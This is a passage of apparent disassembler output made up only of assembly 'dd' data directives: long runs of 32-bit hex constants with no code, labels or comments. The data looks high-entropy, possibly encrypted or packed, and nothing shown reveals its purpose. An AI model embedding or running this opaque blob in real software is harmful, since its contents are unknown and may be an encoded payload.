		dd 5E74A71h, 5C93242Dh
		dd 0FD21FE3Eh, 42C53CEEh, 0F917C53Ah, 5A60F535h, 39C0DDB5h
		dd 0ED8303E5h, 0F6CDFE07h, 0C8B252D1h, 1250BFE9h, 3F184144h
		dd 6AA0542Dh, 7E20270Fh, 20B03765h, 48382CA8h, 80514454h
		dd 96BB0805h, 8D985038h, 2260CF28h, 431AF997h, 0E47AFCDDh
		dd 82810B09h, 8A1603E0h, 0F3AB854Dh, 8046D08Fh,	2668C80Fh
		dd 7A98B773h, 31966F10h, 5D49A62h, 0BA88FB51h, 0BC681858h
		dd 0AE608B5Dh, 210584A4h, 29272D3Ch, 0DD72F082h, 0BBD48889h
		dd 11FBFDDAh, 2E45D2Ch,	0C04DE942h, 0DD40687Ah,	0FA17E2E5h
		dd 3B259201h, 9E1440BDh, 0BC41AD4Dh, 98EF6CCCh,	5946E471h
		dd 86811D37h, 3E4C225Fh, 6C4A4F0h, 0E91A523Dh, 0BF0469DCh
		dd 7CE30E8Dh, 60DBCC80h, 51C7606h, 9A63F9E7h, 1EF69624h
		dd 3F2D0948h, 0BB04FA01h, 29668847h, 97184FFh, 0E67D5F08h
		dd 6850022Eh, 774C5A3Ah, 0A5C7ED80h, 0F6B588B3h, 4FF2105Eh
		dd 4B4621AAh, 7D8704BCh, 78F738C0h, 890D0040h, 52AD523h
		dd 0FC004993h, 3C03548h, 2D576Dh, 72AE58B2h, 0E0E9C121h
		dd 80810F58h, 4B700C50h, 7EF60481h, 830A4D3Eh, 87DAE941h
		dd 0D1947C5Dh, 84183866h, 5A1D6EF6h, 9EC20BF1h,	6944C555h
		dd 77F56102h, 0F682D876h, 6306010Ah, 4AF3EBC9h,	0BAFEC40Fh
		dd 4BD8EAE9h, 455E685Ch, 0B2EB9944h, 6DF3C640h,	52013955h
		dd 6B316468h, 31715A40h, 0D67CB92Fh, 30AC8DABh,	58818E32h
		dd 37B0A540h, 0C5213CF2h, 0AF4A3E48h, 70208E30h, 713F9810h
		dd 515997E7h, 67546980h, 85FA3138h, 71020A6h, 986B7A07h
		dd 7801953h, 2ED62387h,	5404C897h, 1B5E2FE9h, 208EBDE9h
		dd 709A7379h, 8B46F502h, 9456CF37h, 32E912B9h, 68F6CCACh
		dd 522A6B2Dh, 0BBC9093h, 0D1F676B1h, 37B7FD87h,	0CA8881C1h
		dd 30ECF459h, 0C8E65AFAh, 7F8B6625h, 0EA36174Eh, 3C5A60D7h
		dd 0C79367FBh, 3F1FDD9Bh, 0D96813B1h, 27B2BC97h, 1DC3249Ch
		dd 0F3D816BEh, 0D1EAD783h, 8E6DC01Eh, 7B7EE5Fh,	17B45F8Dh
		dd 350041FCh, 1D9A6C91h, 0D19DC289h, 3F220901h,	2FB93475h
		dd 0CE842CE9h, 13E0BF59h, 8D681830h, 5B132114h,	0E27F6681h
		dd 8B7B355Bh, 0E7BD6864h, 77163E04h, 1B1AE86Dh,	0F3081DAFh
		dd 7DCEBA5Bh, 74BF00CEh, 0F8CA6716h, 0E8BD973Fh, 50203FE1h
		dd 0C67316F5h, 8F740B6Fh, 2FC9CDFDh, 0AAC3B7D6h, 0E2E7070h
		dd 4EEF80F7h, 0AF81C764h, 9420F344h, 18ACBA00h,	529570CDh
		dd 37D5044Eh, 57010B32h, 0A28097B2h, 5D76EB52h,	0E9089097h
		dd 31854A90h, 7F2FFD27h, 5D6C8E9Dh, 4ABFB8D6h, 89FCCA91h
		dd 5A92FE04h, 5FBE5A0Eh, 5ABAA802h, 0C9DE63BDh,	0D72BA46Dh
		dd 0FD0940D6h, 97B1877h, 5A77CDD1h, 77787A6Dh, 8D712EE9h
		dd 91894325h, 7CDA0C47h, 45C16725h, 8009240Fh, 22096CB3h
		dd 6B13C635h, 5CEA737Ah, 3ED1E6C4h, 8A5A3F16h, 0D77A59AAh
		dd 0A4D94A95h, 18282A40h, 0AF6B4A05h, 10AA4E94h, 0A1580CECh
		dd 9B81EEB4h, 0D82AA4C8h, 44BE51A7h, 0E8D1E962h, 1EE7B9B4h
		dd 8B584E78h, 0EBC8A7E2h, 8A2D5420h, 0A0F7F453h, 675F5808h
		dd 24F5902h, 0F97E5835h, 733C0500h, 25E90330h, 6E5FA39Dh
		dd 10EA0528h, 0E5169714h, 0E90800E3h, 0EB9282B4h, 56BB90Eh
		dd 4EF6A171h, 66FD9013h, 0C3801F80h, 29B05010h,	0BF6187F6h
		dd 9E468D0h, 9297E63Eh,	42274AF6h, 9EDD9875h, 624396D2h
		dd 620D49B8h, 8F877644h, 76D5A7B2h, 6AE88585h, 85CEA08Fh
		dd 155E7470h, 0E951ECC3h, 34208812h, 0F77E16D6h, 28C5FC38h
		dd 6F9808EEh, 2F54AFB0h, 0EA2F89D0h, 5B15635Dh,	9EFCD007h
		dd 192D8E39h, 0E8C80057h, 607A785Bh, 0E1819A89h, 581E1245h
		dd 6A4B522Bh, 103EC89Ch, 3FD93019h, 0AD425B94h,	1CE4474Eh
		dd 0B3B34EC3h, 45C9DF31h, 12CA5179h, 6150081h, 5A6E3858h
		dd 7F11E913h, 81903F25h, 7718331Ch, 0E9CB48D9h,	0B85BBA38h
		dd 2CFEE5A7h, 6A61CE0Eh, 0A4A6870h, 0C709D976h,	8287B32Ah
		dd 1BA93BA3h, 38344C75h, 86E04159h, 0C3113C7Ch,	46C97h
		dd 59D64E03h, 64E9D931h, 0F0E0159Ah, 18685A0Ch,	4EBE8713h
		dd 6F2CEF7Dh, 3EC13C0h,	844F1650h, 6D8FFE3Ch, 751BE90Ch
		dd 796EEC3h, 5000DD5Ah,	109B156Dh, 0DE0CCEFAh, 0C2F691Ch
		dd 0E381722h, 27D00123h, 8019FB46h, 7B842B60h, 0D2F089D9h
		dd 1A550457h, 71DCBE9Fh, 45B33768h, 0E9A8A58Dh,	2E0F0BDFh
		dd 0DF8B831Eh, 96F99A5Bh, 7C2D07C5h, 57427E5Ah,	624B4EFEh
		dd 7928857h, 0DAE95504h, 0E64F1FE8h, 8B2A9000h,	583E5431h
		dd 6BF36853h, 0E98214F2h, 7155F10Bh, 65554986h,	0AD59ADA5h
		dd 377FE9E1h, 86166BBBh, 0C54BECA0h, 2AC8A498h,	741F17E2h
		dd 0B22B041Ch, 5A67A279h, 5C5D6CBBh, 0BF307692h, 0EC8834ADh
		dd 515B2759h, 8297F7F8h, 0F5921AA4h, 0BA0EDCF9h, 0A6EB120Ah
		dd 0E9716FAFh, 0CCF85538h, 0CB9F5BB7h, 0C1E19377h, 0C07BE808h
		dd 0C95B78A2h, 0CE0C8EF1h, 0B800336Bh, 9D554F7h, 0FD012757h
		dd 0C130B7C6h, 1DE522EDh, 70422819h, 5D9F01B2h,	9BE96C43h
		dd 6B592580h, 8831CA8h,	96001009h, 0B36E11EDh, 4F36E91Bh
		dd 3D34EE8Ch, 0D92D6CF9h, 0B3536182h, 7246A140h, 0F0BF5780h
		dd 3D930A02h, 17C0FE21h, 31C0459Fh, 1799A9C3h, 4FEC1163h
		dd 9DD0C0CBh, 8E2AD39Fh, 0AE170960h, 0E83ACC79h, 332DA0F4h
		dd 0D2847A69h, 47B0C35Ch, 49545AB2h, 0A380B426h, 5F2A1809h
		dd 67F1FC57h, 645B1CBAh, 0DEF5EF9Ch, 536E4DC5h,	8961096h
		dd 24C85826h, 25430996h, 0DBDC886h, 785922A1h, 0C009F1D2h
		dd 9D67D870h, 74038BBh,	791D51F5h, 0EF970F0Ch, 0ED7EA1F5h
		dd 0DE2918E1h, 581C057Ch, 0D1263E1Dh, 6BD40295h, 5FC0660Eh
		dd 76305FD9h, 6544186Fh, 0C6C6364h, 4E129C67h, 0CC0ECE29h
		dd 0CFAB1748h, 0ECA85BE0h, 99CBE9E0h, 96BC5197h, 0FD49A5C3h
		dd 2B6D6103h, 4C137B4h,	545271FBh, 6ABA129h, 8B5B4608h
		dd 68C3FBB6h, 0AF847328h, 0BFD714A3h, 0E185FD49h, 4A3D54E1h
		dd 6A4156B2h, 785D632Ah, 57C80E25h, 681694EEh, 86A6639Eh
		dd 69AAB97h, 0CCC65962h, 62AE5904h, 6776318Ch, 95BEA470h
		dd 74B53BE4h, 7D5562A1h, 8320DD7Ah, 3F57F469h, 0F5ADDF89h
		dd 348B4DE0h, 0B5535B9Fh, 3ADBBB68h, 0E953285Bh, 27BAF25Eh
		dd 0B97583F2h, 0E2BF2C02h, 417A0E14h, 0D5D19C4Bh, 9F74470h
		dd 0A464509h, 2756F257h, 317E3C68h, 0C331A728h,	5CB9C1ABh
		dd 62375A60h, 111DBA81h, 0EC824B60h, 0C96897A9h, 41EF4D2Bh
		dd 6E9C0214h, 903A01D9h, 55C380F7h, 5FB45003h, 0C902E4C0h
		dd 0EE6064F4h, 1EC4FE08h, 0F9CCFE06h, 461CAC32h, 49277CF6h
		dd 0EA782222h, 94F1F24Fh, 5468A034h, 907DBE11h,	0FB84B8Ah
		dd 0FACA618h, 4C9759CAh, 80B52E19h, 0F81687Eh, 254E1FD9h
		dd 7B042DD2h, 0E9C200A7h, 4F7DAF66h, 93E90470h,	0B5B90735h
		dd 0F76529B0h, 0C692BFD9h, 4DD9661h, 0B1A2AAFh,	107A17E9h
		dd 9D8C79BAh, 0D88E5171h, 56F8C35Bh, 3D39B0BEh,	0B1B981Ah
		dd 0ED3CBCD7h, 0EF259ED0h, 6BBA769Eh, 12666701h, 82E2FA74h
		dd 36CC19A2h, 66794666h, 23E9A979h, 0D7022F6Ch,	58D1F03h
		dd 0E5FE31E9h, 8676EE5Fh, 74FBB08h, 0D362EAC6h,	1073EE29h
		dd 20415D89h, 0E9317DDEh, 9E94184h, 0FC3194A6h,	65701645h
		dd 0E90C8DAFh, 8F002EF7h, 7B0311B8h, 0E359F467h, 8597BE22h
		dd 0A44BB888h, 0EF257DF6h
		dd 0C7AF6A5Dh, 1CF127B1h, 623EE970h, 0C50944B6h, 2007165Dh
		dd 543B8FE5h, 0C25F9258h, 4E68DFC8h, 19C3A68Ah,	0AE3965ADh
		dd 0EA09172Eh, 0EB4B83DEh, 685021D0h, 171EEC06h, 0C0C5E97Bh
		dd 0FE99B642h, 0CE0BC672h, 8734EE80h, 0C7F9BD18h, 1F452F98h
		dd 3B15C380h, 5F44E94Dh, 0C99BE570h, 56630DDh, 77045916h
		dd 5D1F2D1Ah, 62D5CF2Bh, 0F981C0DEh, 13AC2E3Bh,	0DDDF00BCh
		dd 0D689BD34h, 0DEF75A0Fh, 0C1F68046h, 9009661Eh, 0CFB0D21h
		dd 881E24C2h, 1618DB2h,	896C17B8h, 79852E20h, 2245B1AFh
		dd 0C6D150F4h, 41D1A5C7h, 52495682h, 0F03C7076h, 39F09D28h
		dd 0C81CFE94h, 8070F4C9h, 0C00253D2h, 0E40CC74Bh, 0E94351A7h
		dd 25FF68A0h, 3A8DDF2Dh, 7A053E6Dh, 0D8AF189Fh,	0DF826A34h
		dd 5890BFD2h, 92BC025Ah, 737EEDA0h, 7E6CDE2Dh, 4DAA634h
		dd 0B98BF9E9h, 277202E7h, 5C290357h, 200820C0h,	72B55A5Eh
		dd 0E593DE4Eh, 762549F7h, 0AB30D27Bh, 82FEDC5Dh, 4C804445h
		dd 0BF499FA4h, 5F4E37C0h, 72E9F218h, 74422603h,	0EF14C5CAh
		dd 57C6E5A2h, 0C332A917h, 0E20B84D9h, 0AD3C2BEh, 82177A08h
		dd 2F6BCEEAh, 84B94810h, 64993A0Ah, 13039184h, 56CC255h
		dd 11B4078Eh, 0BD8DAA50h, 0C1720DDCh, 8D2ED147h, 2496E18Ch
		dd 0F31E88B3h, 5A79D3F6h, 595BB0C1h, 2F7FB16Fh,	12B21A28h
		dd 0E1C9E998h, 8DB13A87h, 95AAB07Bh, 0D0D0F739h, 7217A5E1h
		dd 74E1BAAEh, 0E1E9068Bh, 0D97FA442h, 0BFBAC1DBh, 215EF903h
		dd 3F73211Ah, 690DE4C4h, 0D8003B5Ah, 0C03C385Ch, 2D02E87Ah
		dd 76307E40h, 520D8243h, 637092Ah, 50C28EE9h, 625AD1D5h
		dd 756C6753h, 3EC3313Ch, 62BB9830h, 0EEF1211Ah,	0E72AFD14h
		dd 0D66827C7h, 0F24FA077h, 993A4E1Dh, 9EBD7AAFh, 0F80AAC80h
		dd 0E93F4B1Ch, 4A0C9A9h, 234D15D4h, 321EC1AFh, 0F3F7C287h
		dd 431102Eh, 626DE99Ch,	0BD4A1D8Ah, 9FEE86B2h, 39EF0023h
		dd 0C1664078h, 8CB806E7h, 8F18402h, 59FA01E2h, 703ACD2h
		dd 296E1509h, 9D3AFC56h, 0C9810A17h, 75D53B16h,	0B665FAEDh
		dd 0C8F4E063h, 0A75FE9B2h, 76052E09h, 0C20A42D9h, 0E8D15B01h
		dd 0F4DB0E2Fh, 55EEE0EDh, 6D2EFB6Ah, 0BAE95E04h, 54B2EFFAh
		dd 295DACA4h, 30A6D919h, 0DD278B2Dh, 7BBDEA36h,	89B2041h
		dd 4623113Bh, 7B640F04h, 6906CEC1h, 0AE94AB04h,	30E0A4BAh
		dd 0BE7D00B5h, 5CBB5F95h, 70308F61h, 4C1BF17Bh,	50281030h
		dd 2D872D03h, 0DF4915h,	0FEB1FF91h, 2673969Ch, 2F004979h
		dd 25FC1189h, 0A4D96EFBh, 0E9C49928h, 0BFFDE0CBh, 5F791C03h
		dd 94A1687Fh, 2DDDC598h, 72F62F19h, 376C9903h, 210C0F29h
		dd 0A814A95Ah, 0EDA10122h, 77742D9Fh, 0D1CE5B2Dh, 611242C5h
		dd 95F80BB8h, 81F2685h,	280348AFh, 95966CAh, 8CEA8004h
		dd 0B3508946h, 0C4940C91h, 4328BF26h, 0AA426507h, 369C16Ah
		dd 0A06EF579h, 95016289h, 6009F75Ah, 8044F67Dh,	874875D2h
		dd 6AC2A112h, 0C8946A72h, 60D9935h, 254FFBCFh, 272EC605h
		dd 0B001683Bh, 57D10562h, 484E52Ah, 1D0E808h, 250EEF5Dh
		dd 95D32447h, 35B501EFh, 283F642Eh, 6EF20107h, 0C6296F5Ah
		dd 820836A0h, 689AA187h, 36660AE2h, 4C63A310h, 454607D9h
		dd 77B27AC2h, 98144FFh,	5CA2307h, 80CA8DDh, 31BE5600h
		dd 3E40B06Ch, 0E912E6C1h, 588982D0h, 57039E80h,	102812BFh
		dd 412DCA43h, 424CF9A9h, 79D772B3h, 20B16AD6h, 1B4205B6h
		dd 0B0892773h, 5F4BFD07h, 5B3F102Ch, 5541B575h,	92B4BEB6h
		dd 895F40F3h, 30B4795h,	675774BAh, 0BC5380B4h, 18607B47h
		dd 1C10CA0Ch, 5D52090Ch, 3813D7E9h, 0F89691B7h,	9170EC94h
		dd 14B94CC0h, 4C43B04Ch, 34067B41h, 2E5B0640h, 94E02500h
		dd 59C821DDh, 0FFC03D83h, 0B46A9E96h, 0E4481B50h, 6269B771h
		dd 1EF95754h, 30072A4h,	0B9152123h, 0DC5B2C90h,	4D11240h
		dd 0AE7C28A1h, 51386D44h, 0FC0B27C2h, 0BE5E12E8h, 0CD9659Dh
		dd 5390DD01h, 4BAD9D1h,	4800EC74h, 0B30DD8F7h, 62E23E07h
		dd 258B9491h, 6FAA762Ch, 0C235C3AEh, 67BE840h, 944AF14h
		dd 566965CFh, 0BDCB509Eh, 20E738F8h, 0C6968738h, 291FA68Ah
		dd 1214BF83h, 7C0181E7h, 1399A33Eh, 0D0FEC984h,	0C0BAB7C8h
		dd 0F607EF12h, 0FE3906AFh, 807B04C7h, 0FD075898h, 4E5C05Bh
		dd 0D7B8C593h, 0C70A84C9h, 0E9EC0A80h, 0C0EA5585h, 280BB3D0h
		dd 2E9E08B5h, 4ECD089h,	0BF7760E9h, 34303139h, 947582B9h
		dd 680CC2ECh, 65D727ACh, 10B6267Bh, 77293BA5h, 0D7B5022Dh
		dd 71E90BAFh, 2D400640h, 0B6A3A90Fh, 707565DBh,	427EC059h
		dd 0B7B3221h, 618E9374h, 0E3CB8160h, 0D8970826h, 74644B0Fh
		dd 0E0D8BBE8h, 5E6225E9h, 99646CD7h, 1BC30EBAh,	0CD39BF17h
		dd 0EBE40B2Ch, 0E0D3B761h, 0A19DBC2Ah, 443A9D83h, 0AE7796D8h
		dd 0B8E18Ch, 2E87131Ah,	7A66DB25h, 1635374Ch, 69B603E0h
		dd 2F866A10h, 57D327BBh, 0F7B120B2h, 5EB7FD3Ch,	13157820h
		dd 89E1E4BCh, 0EACD5AD5h, 80C6C060h, 0D297C701h, 0B9D0EC3Bh
		dd 54B828E5h, 0C328F8AFh, 0E0ED8038h, 5B5DEBB2h, 17E9C3A1h
		dd 993F01EDh, 30031A2Fh, 3944532h, 8C35B582h, 59DC576Dh
		dd 7A6D56ADh, 5257B88Fh, 6BFBCB9h, 4C6C6DDEh, 1343030Ch
		dd 0C22DCD72h, 423150B1h, 30001AF6h, 0D35866C5h, 0B4FEF8B4h
		dd 0EE7F0EEh, 259F2359h, 24437CDFh, 44310AF6h, 19960257h
		dd 76411867h, 0E12D9363h, 59546761h, 82D1F22Bh,	0DC404468h
		dd 105C63A5h, 0AB27107Dh, 7022541Dh, 0ED8801F9h, 0CDB41EF2h
		dd 27A16C53h, 60A5EEF3h, 2578D187h, 4CD70512h, 0E3E9138Bh
		dd 49C3A3AAh, 0A29DC4CCh, 20A70502h, 0E8D1D7E0h, 6CD83507h
		dd 2C956511h, 8657B3F8h, 0D842AA4Eh, 5CD176E9h,	0E80BEE3Bh
		dd 0A25C096Ah, 49440271h, 12EA48C4h, 298CAACCh,	43AA4F2Fh
		dd 0A979AE6Dh, 4B545992h, 28FB5AE5h, 1627E9EBh,	304C791Ch
		dd 57386808h, 8B6F1B7h,	810F5C4Dh, 0F89FFFEBh, 0C8E301FBh
		dd 436BEA26h, 0C7A01A82h, 26D820C5h, 35BF8730h,	2E3CA5C9h
		dd 23A6FD2h, 3EF60552h,	700818E1h, 1E16D8B6h, 21BE7632h
		dd 0DDF79CA8h, 0DA913431h, 9F9A5F52h, 22C03D17h, 1E493B0Dh
		dd 0C940317Eh, 3FDC1753h, 0C720D551h, 0F006CB01h, 10F0E409h
		dd 33BFBD1Eh, 0B2D1664Fh, 7FE82000h, 0B0567A06h, 9A99304Dh
		dd 41A7F24Fh, 121FB0Bh,	91EE07D6h, 0CC6F5F0Bh, 62C7D925h
		dd 95769922h, 9F60158Ah, 22E5C109h, 0F10152DDh,	5688511h
		dd 4823E348h, 0AAE98F27h, 0C192ED65h, 0C3AAF384h, 4EF258C6h
		dd 0FE0C66FEh, 9AEDCACAh, 9B3A9DE8h, 4C9F97F2h,	0A636252Ah
		dd 0D3A5AD5Ah, 131842A4h, 6FC0CFEDh, 186B8C1Ah,	0C3097252h
		dd 6BC12Ah, 29F4E365h, 0E02C626Dh, 20B9D03h, 76D95Ah, 7C1935BDh
		dd 6C814017h, 295533FAh, 9AE9110Bh, 0CF932786h,	0E080B27Fh
		dd 9D7E6768h, 2C841819h, 69BE5F8Ah, 6F6D2585h, 0D4E5F3B9h
		dd 0AF421229h, 0BEA8E834h, 0FCC7E90Bh, 0AFF1E52Ah, 992596D7h
		dd 0B5721CAAh, 9407AF2Fh, 0E5F3D5EEh, 41DECB7Fh, 5C89088Ah
		dd 0BBFCE75Ah, 0E3C64B4Bh, 5600ECF1h, 0D4258C68h, 38CA374Ch
		dd 0CCB85B7Fh, 610809F5h, 68A8B855h, 0F43B4B79h, 4C41D5E0h
		dd 4A63BC2Eh, 521B2CBCh, 0E5E8664h, 0B7E93AE1h,	0BE1B002Eh
		dd 1B311EC2h, 7AA34D6h,	47B83350h, 0A15DBB88h, 0A4DDE99Fh
		dd 36514E40h
		dd 2C3D6087h, 62461298h, 6A5EE913h, 2D0478A2h, 0C45D5C84h
		dd 51358025h, 345AA9E9h, 71050525h, 9AAF0B7Dh, 777810DCh
		dd 0AFED135Bh, 0BB5BA6DBh, 51EBD165h, 549EA63Dh, 0CB25A4F3h
		dd 0F1632272h, 0D91104D2h, 4824332Dh, 0BC2F01DFh, 0B125583Dh
		dd 83CAA669h, 0BA014610h, 37E2369Bh, 9342EC4Ah,	0B6A5BBDh
		dd 65F55999h, 0F0C81771h, 34B846DAh, 12FA035Eh,	0C43CECBAh
		dd 0FAEC61C3h, 0F10639C0h, 0D095094Ch, 3BCD012Ah, 5144BF7Fh
		dd 0EFA89B9h, 2FD77408h, 0A3D6E692h, 5795F589h,	6A0C1051h
		dd 0B79E32Fh, 5F4F5974h, 0F0953758h, 106CB42h, 0A1FD3183h
		dd 0C0D72CE2h, 0C62B85FAh, 0CF421039h, 2880CA77h, 0EF8004E7h
		dd 0BA30581Bh, 0D14ECEEDh, 6F818FBDh, 0E4B71BECh, 5A61A88Ch
		dd 0FBF544BEh, 0D6B2F858h, 0F2795509h, 0EA40BD30h, 180912Ch
		dd 5F51B0D3h, 10ABE389h, 680EF511h, 0EE173EF0h,	647EC66Dh
		dd 826CC746h, 72611F5Bh, 20A3DCDh, 400FDCEAh, 209B7633h
		dd 651E49DFh, 0C458AD5Ah, 0EB121DC1h, 0DA909201h, 137A8A6Ah
		dd 21C115A7h, 1934FC4Eh, 83B04595h, 2EB0DD6Eh, 6EE92171h
		dd 5C800C6Ah, 0F209BE23h, 0D52E5A1Ah, 8E694FC0h, 0DABF6CBAh
		dd 845CC9E3h, 136ECDFh,	1F4061EAh, 82FA0119h, 31E28F4h
		dd 0F866C359h, 1C30F853h, 2FA3BAE9h, 4E53B45Eh,	0FC2DC1F1h
		dd 0BB248047h, 372E500Bh, 0DBF72743h, 184019DEh, 0C10CF01Fh
		dd 13B1880Ch, 0BBE06BE7h, 4AE97B57h, 0E388FECDh, 7E732568h
		dd 7DC9FAFBh, 30466D71h, 0A032733Eh, 49D6E906h,	0EF16C357h
		dd 4F44AF5Dh, 28F2779Ch, 419EBD39h, 22F9A83Eh, 0CA045CFDh
		dd 675E4539h, 3C9B030Ah, 3F49638Bh, 31146452h, 1F9B760Eh
		dd 2F89E2CAh, 3027D665h, 9D82791Eh, 4083958h, 60586250h
		dd 434B1EAh, 0E3CBBF08h, 7E68C609h, 77E862FFh, 53FE453h
		dd 3C32801h, 63B52E81h,	71B65200h, 2A18F9F1h, 266D5A3Ch
		dd 0ED94378h, 0C00531F1h, 83147334h, 0D6017230h, 510E94F1h
		dd 9920E482h, 0A9F7F976h, 0E96FAD86h, 6EAC09Dh,	4BC75546h
		dd 0F3B5C021h, 0E9094D5Dh, 8CDA0929h, 0F5FF5FDFh, 0C0D6942Eh
		dd 0E36C4F7Fh, 220357Bh, 45B90195h, 0C17CE661h,	6EE9EFE1h
		dd 821A3CF5h, 0E6700468h, 0B859018h, 3D740E0Fh,	0B877B84h
		dd 75878959h, 0C5293B23h, 2B93F6F1h, 0CBEA61FBh, 0D45FC237h
		dd 79755A71h, 532D6221h, 25BE3FA0h, 0E0B8515Fh,	0F508EE2Fh
		dd 29D61EABh, 4E6F0689h, 0ADD09767h, 0DA4DF5Eh,	58E313F2h
		dd 8EC0C0FBh, 1E0C777Ch, 0E056D101h, 4E5B7280h,	0E1AE8053h
		dd 2D2836CFh, 9B02CE6Fh, 89E0C2AFh, 6A12E1CEh, 0FAE75A02h
		dd 3840808h, 0FE02E8C0h, 5060AA6h, 0D1F6C886h, 0C5341C08h
		dd 0D51BA588h, 0A0E9F2A8h, 0F430A24Bh, 58582F46h, 0E702232Ch
		dd 0D915E905h, 40A9BAD5h, 12544C32h, 80450E7Fh,	3AA3CDD2h
		dd 0F6662325h, 0D6AC8239h, 1D545651h, 0E21AE909h, 2DDC470Fh
		dd 5558B64Ch, 1C6532F2h, 597DEB57h, 5B737F07h, 5239BB7Ah
		dd 0C0F8F87Ah, 23103B64h, 1544FE9h, 28ADB7D5h, 34A93FF8h
		dd 0F9DCC141h, 0B842CB2Eh, 5297BD5Ah, 6B80B530h, 730775C1h
		dd 30CE0C90h, 0D6F75714h, 147E8F45h, 16DE2854h,	2C17A4FCh
		dd 0E094FBB6h, 0F97425BFh, 0F3110483h, 0EA3A8863h, 2C535D4h
		dd 0A4F6580Dh, 85324129h, 0A768AB84h, 2FCBE33Dh, 57DEE265h
		dd 0B298C44Bh, 0BFA0FA15h, 0BFBE9B29h, 35C894Bh, 0C933F9h
		dd 43685319h, 5B0CCD64h, 0B054DAB7h, 690900B0h,	0E9DD8994h
		dd 0FCB5A025h, 5D8FE3A8h, 0C933953Ah, 408781A6h, 0DF7031CDh
		dd 0E1E919F1h, 765740F0h, 0AD3450FFh, 2F54D083h, 0BE324C88h
		dd 3060232h, 0B12C7F4h,	0F0BF9FC3h, 583F2E7Bh, 351EBC09h
		dd 2D7E1EEFh, 5F254959h, 0C795B0BCh, 0E4DDA5C6h, 62B12111h
		dd 5954968Bh, 0F8E89FFFh, 817BB570h, 0E64E2542h, 0CA7E9D1Eh
		dd 5A40C620h, 5F552557h, 0C78252E5h, 40DC5C4Dh,	0BF21A7C1h
		dd 0E502766Ah, 830BD051h, 27495309h, 53D6EE35h,	0A1B7A6A8h
		dd 47E9597Bh, 40AF952Bh, 56A905C6h, 62900D7Fh, 3FBB5194h
		dd 798C5AEAh, 28544E1Dh, 8A6046F1h, 38D7EF73h, 0C5766F0Ch
		dd 51FDBC4h, 0BF13D15Ah, 0EF0D6A03h, 1480B706h,	0F655FC05h
		dd 915F4AD2h, 82EF1B11h, 28D70466h, 0A05455D8h,	5A8931CAh
		dd 3F7975CFh, 6436F549h, 56C480C1h, 0DB2563CDh,	0B2ACF0CEh
		dd 0BF570103h, 0C3DD3EE6h, 91E6C31h, 96525AD7h,	0D0BB7B5h
		dd 2C19A95Fh, 49C9CA3Dh, 0E816BAF4h, 0E207FF0Eh, 62083B62h
		dd 73490577h, 83132B51h, 2568453Ch, 55E637Fh, 9F5EF570h
		dd 5291A123h, 534C5110h, 3705C948h, 9105A50Ah, 0CA1D319Fh
		dd 610291FCh, 0F50D9524h, 1401BAA2h, 59545100h,	954EF868h
		dd 0DE429E9Ah, 5B136364h, 0BAA506Dh, 39D65ABCh,	30A9ED08h
		dd 0C73505F4h, 3781F13h, 0DB4B2EF9h, 0B81E60B9h, 0E479CBh
		dd 75F62D5Dh, 0DAE97B36h, 452D8EBCh, 0C9DCAD9Fh, 0FBEEC158h
		dd 0BE46EF2Bh, 5ADE85B7h, 4D4C1F33h, 7F0A52BDh,	0B0C432F3h
		dd 0F0CDEFA4h, 0E9C32932h, 463EA12Bh, 41C2024Ah, 5DD1CBADh
		dd 5851C182h, 686AB4Ah,	0BB5A8BA9h, 5C2B28BEh, 0F8202A98h
		dd 112DE35h, 0E9778DBDh, 7B146C05h, 2859F231h, 0BEF127DDh
		dd 7C6F0278h, 5D2887BEh, 536BCF85h, 0B0603857h,	0FEF1FBB1h
		dd 305C8487h, 0CAD782F0h, 767573CAh, 57060F7Ch,	0CF98A487h
		dd 9514E3B6h, 2BB1023Fh, 0DE56094Fh, 73E9419Fh,	0B3B36E10h
		dd 5058EB06h, 621784B0h, 4105D0F6h, 3DC0FE07h, 9FC3285Ah
		dd 9568C540h, 4AB3454Fh, 0B3533703h, 0E9F8FE38h, 0CCBD9058h
		dd 37B7272Bh, 7FCB5FF4h, 4524B717h, 0CCFEE312h,	944D68CBh
		dd 0CC4F7F4Fh, 8B6B8CF1h, 0D4277F6Ah, 2D63C6DBh, 0FBFB1945h
		dd 0A2AF48Ah, 7D3E2FBCh, 90FE202Bh, 0F77BAEB7h,	41223FA9h
		dd 7D5187B4h, 0B1275828h, 351CA66Bh, 3053A097h,	0F1A713D1h
		dd 0BBDA1231h, 59E9EB9Ch, 0B0190D18h, 105A82CAh, 0F04047EAh
		dd 2218B02Dh, 0E5B5513Ah, 0B789275Bh, 19211901h, 8BF4D6EDh
		dd 6BB6F101h, 0E1E229F2h, 5D018C39h, 3661F968h,	495C06B6h
		dd 9761FAAh, 5ACE50DEh,	389217FEh, 0B85B29E0h, 0BA942235h
		dd 6E03BC90h, 0F715DE06h, 8362F1DFh, 0BCBCF24h,	3161206Bh
		dd 37EF3E81h, 0CE9120F1h, 0E07F1041h, 0C6905E3Bh, 4814DF0Fh
		dd 80CA4D13h, 0E1C0806h, 61D23859h, 0F8770E9Ah,	48017D77h
		dd 9B52250h, 0D375526Bh, 539AEB7Bh, 7B75A2CAh, 60B300B0h
		dd 0EF012694h, 888CAF1h, 0C13112C5h, 60E3D11Ch,	5007C3D3h
		dd 4B3C6B16h, 0EEE0CAF4h, 5E614C1h, 1F749346h, 0D2105002h
		dd 8875C07Dh, 5F9759C8h, 0EF849129h, 5A56093Fh,	0D1672FC9h
		dd 964A96D5h, 168C1FEh,	1BCD6B23h, 94A94945h, 7B4BB610h
		dd 705AE428h, 0B80BFBE4h, 0D3F921C2h, 27D02C0Ch, 7F4B7559h
		dd 0D224D966h, 1D6D46F4h, 0CE8C7160h, 1353C2DDh, 30232DACh
		dd 7C16B6CBh, 2AF37FE9h, 68A3572Dh, 1900A19Ah, 0E6D15BDEh
		dd 0A04FFE87h, 9DFFE433h, 7FA82795h, 0B9698F09h, 0F885FDE3h
		dd 2B9AF189h, 571DFD8Ah, 25500468h, 7883FB62h, 0FFDB814h
		dd 0DEBB0453h, 0AFAE7035h, 0C5AB3284h, 6821C803h, 6534B329h
		dd 0F59C5F2Dh, 0AF58B530h, 2575EDEAh, 87564DFFh, 45C204BCh
		dd 1AC00E3Bh, 607C3809h, 7E721868h, 0C8B57910h,	7E3DBE51h
		dd 0CE88BD99h, 0EEE90907h
		dd 4DD72842h, 24CEA436h, 0D319A753h, 49F84B59h,	0C40BD2A9h
		dd 8C9E657Fh, 5C0A718Fh, 4002A190h, 507F8919h, 768040B8h
		dd 41AEB880h, 0FB0520B1h, 4B395E39h, 0B3A96B84h, 5D9BBA5h
